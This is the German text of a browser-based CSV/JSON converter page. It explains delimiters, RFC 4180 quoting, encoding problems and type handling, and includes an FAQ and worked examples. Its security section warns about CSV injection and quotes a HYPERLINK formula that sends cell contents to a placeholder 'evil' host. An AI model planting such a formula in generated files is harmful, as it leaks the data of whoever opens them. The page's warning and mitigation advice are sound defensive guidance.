Beide Richtungen mit Trennzeichen-Auswahl
{{ error }}
CSV ist das De-facto-Format für tabellarische Daten aus Excel/Google Sheets — kompakt, vom Menschen lesbar, aber typenfrei. JSON ist strukturierter, kennt Typen (string, number, boolean, null, array, object) und ist nativer Bestandteil von Web-APIs. Beim Wechsel zwischen beiden ist die Header-Zeile entscheidend (wird zu Object-Keys). Achte auf Trennzeichen: in deutschsprachigen Excel-Versionen ist es das Semikolon, weil Komma der Dezimaltrenner ist.
CSV (Comma-Separated Values) ist ein einfaches Textformat, in dem jede Zeile einen Datensatz repräsentiert und die Felder durch ein Trennzeichen — meist Komma, Semikolon, Tabulator oder Pipe — getrennt sind. Es ist in RFC 4180 dokumentiert und wird von praktisch jedem Tabellenkalkulationsprogramm unterstützt.
JSON (JavaScript Object Notation) ist ein leichtgewichtiges, sprachunabhängiges Datenformat, das hierarchisch verschachtelte Objekte und Arrays unterstützt und Typen wie string, number, boolean, null kennt. JSON wurde von Douglas Crockford popularisiert und ist der De-facto-Standard für REST-APIs, Konfigurationsdateien und NoSQL-Datenbanken wie MongoDB.
"" escapt (RFC 4180).für) führen. UTF-8 ist heute der empfohlene Standard.Aus folgendem CSV-Input:
name,age,role,city
Alice,30,admin,"Berlin, DE"
Bob,25,user,Munich
Charlie,35,editor,"Bremen"
...erzeugt das Tool diesen JSON-Output:
[
{ "name": "Alice", "age": "30", "role": "admin", "city": "Berlin, DE" },
{ "name": "Bob", "age": "25", "role": "user", "city": "Munich" },
{ "name": "Charlie", "age": "35", "role": "editor", "city": "Bremen" }
]
Nein. Die Konvertierung läuft komplett im Browser über JavaScript. Deine Daten verlassen niemals dein Gerät. Du kannst die Seite sogar offline nutzen, nachdem sie einmal geladen wurde.
Vier gängige Trennzeichen: Komma (,), Semikolon (;), Tabulator und Pipe (|). Du wählst es per Dropdown direkt über dem Eingabefeld.
Nach RFC 4180: Felder mit Trennzeichen, Zeilenumbruch oder Anführungszeichen werden in doppelte Anführungszeichen gehüllt, und Anführungszeichen im Feld werden durch "" verdoppelt. Das Tool unterstützt diese Konvention beim Parsen und Schreiben.
Ja. Klicke einfach auf JSON → CSV über dem Eingabefeld. Das Tool unterstützt beide Richtungen mit identischer Trennzeichen- und Quote-Logik. Das JSON sollte ein Array von Objekten oder ein Array von Arrays sein.
Da alles im Browser läuft, hängt die maximale Größe vom verfügbaren Arbeitsspeicher deines Geräts ab. Für die meisten Anwendungsfälle (bis ca. 10–20 MB) ist das Tool reaktionsschnell. Für sehr große Dateien sind dedizierte CLI-Tools wie jq oder csvkit oft besser geeignet.
Comma-Separated Values existiert seit den 1970er-Jahren, wurde aber erst 2005 in RFC 4180 halbwegs standardisiert. CSV ist deshalb attraktiv, weil es kompakt, zeilenweise streambar und mit jedem Tool von cat bis Excel lesbar ist. Eine Datei besteht aus Zeilen, die durch CR/LF getrennt sind, und Feldern, die durch ein Trennzeichen separiert werden — meist Komma im US-Raum, Semikolon in Europa (weil das Komma als Dezimaltrenner reserviert ist), Tab in Logs oder Pipe in alten Mainframe-Exports. Anführungszeichen umschließen Felder, die das Trennzeichen, Zeilenumbrüche oder selbst Anführungszeichen enthalten — letztere werden verdoppelt ("He said ""hi""").
JSON dagegen ist 2017 in RFC 8259 (und parallel ECMA-404) klar definiert: UTF-8 ist Pflicht, Typen sind string, number, boolean, null, object und array. JSON ist verschachtelbar und selbstbeschreibend, dafür weniger kompakt als CSV. Für tabellarische Daten wandeln Sie eine CSV-Zeile in ein Objekt mit den Header-Namen als Keys; ein typisches API-Response oder NDJSON-Stream besteht aus einer Liste solcher Objekte. Unser Tool macht beides: CSV → Array of Objects, oder umgekehrt JSON-Array → CSV mit automatisch ermittelten Headern.
Wann nehmen Sie was? CSV gewinnt bei großen, flachen Datasets, die in Tabellen passen — Exporte, Logs, Bulk-Imports. JSON gewinnt bei verschachtelten Strukturen, APIs und allem, was Typen tragen muss. Wer beides braucht, nutzt CSV als Transport und JSON als Arbeitsformat — genau dafür ist dieses Tool gedacht.
Die Konvertierung läuft komplett im Browser — kein Upload, keine Datenübertragung. Folgen Sie diesen Schritten:
;, US-Dateien ,, Log-Exporte oft Tab (\t). Bei JSON → CSV bestimmt der Delimiter das Trennzeichen der Ausgabe."").curl-Payload, ein fetch()-Body oder eine jq-Pipeline. Bei Fehlern zeigt das Tool die Fehlermeldung unter den Feldern an.Diese typischen Konvertierungsfälle zeigen, was das Tool akzeptiert:
id,name,age + Datenzeilen ergibt [{"id":"1","name":"Anna","age":"30"},...]."Berlin, DE" bleibt ein einzelnes Feld, weil RFC-4180-Quoting greift. Im JSON wird daraus "city":"Berlin, DE"."He said ""hi""" wird zu He said "hi". Beim Rückweg JSON → CSV werden Quotes automatisch wieder verdoppelt.Name;Alter;Stadt + Müller;42;Köln. Stellen Sie den Delimiter auf ; und das Tool liefert [{"Name":"Müller","Alter":"42","Stadt":"Köln"}].[{"a":1,"b":2},{"a":3}] wird zu a,b\n1,2\n3,. Das Tool sammelt automatisch die Vereinigung aller Schlüssel als Headerzeile.Drei Themen erleben CSV-Nutzer besonders oft. Erstens Typen: CSV kennt nur Strings. Beim Konvertieren bleibt "42" ein String, nicht eine Zahl. Wer typisierte JSON-Werte braucht, muss nachgelagert per parseInt, parseFloat oder einem Schema-Validator wie Zod, Yup oder JSON Schema konvertieren — automatische Typ-Inferenz ist gefährlich, weil Postleitzahlen wie 00123 zu 123 werden und Telefonnummern ihre führenden Nullen verlieren. Zweitens Encoding: CSV definiert keinen Charset. Excel speichert auf Windows oft Windows-1252 oder UTF-16 mit BOM, während UNIX-Tools UTF-8 erwarten. Wenn Sie Umlaute oder Emoji im Output zerschossen sehen (Müller wird zu Müller), war die Quelldatei nicht UTF-8 — vorher mit iconv -f WINDOWS-1252 -t UTF-8 oder "Speichern unter UTF-8" in Excel umwandeln. Drittens und sicherheitskritisch — CSV-Injection: Felder, die mit =, +, - oder @ beginnen, werden in Excel und Google Sheets als Formel interpretiert. Ein Angreifer könnte ein Feld =HYPERLINK("http://evil/exfil?"&A1, "Click") einschleusen, und beim Öffnen exfiltriert die Tabelle Daten. Wenn Sie CSV für unbekannte Nutzer generieren, prefixen Sie solche Felder mit einem Apostroph ' oder einem Leerzeichen. JSON hat dieses Problem nicht, da es kein Formel-Interpretationsmodell kennt.
"42" und "3.14" immer noch Strings. Wenn Sie typisierte Werte brauchen, mappen Sie das JSON-Ergebnis durch Number() oder eine Schema-Validierung (Zod, Yup, JSON Schema). Vorsicht bei Identifiern wie Postleitzahlen oder Artikelnummern, die führende Nullen tragen.;. Excel-DE nutzt Semikolon, weil das Komma als Dezimaltrenner reserviert ist. Achten Sie zusätzlich auf das Encoding — Excel speichert oft Windows-1252 statt UTF-8; in dem Fall vorher mit "Speichern unter" als CSV UTF-8 ablegen."Berlin, DE". Der Parser folgt RFC 4180: Anführungszeichen wirken nur am Feldanfang und -ende, und ein Quote innerhalb eines gequoteten Felds wird durch "" dargestellt.=, +, - oder @ beginnen, werden in Excel und Google Sheets als Formel interpretiert und können beim Öffnen Daten exfiltrieren oder externe URLs abfragen. Wenn Sie CSV für andere generieren, prefixen Sie solche Felder mit einem Apostroph ' oder maskieren Sie sie serverseitig.address.street als eigene Spalte). Unser Tool verarbeitet Top-Level-Properties direkt; verschachtelte Werte landen als [object Object]-Repräsentation, was meist nicht gewünscht ist.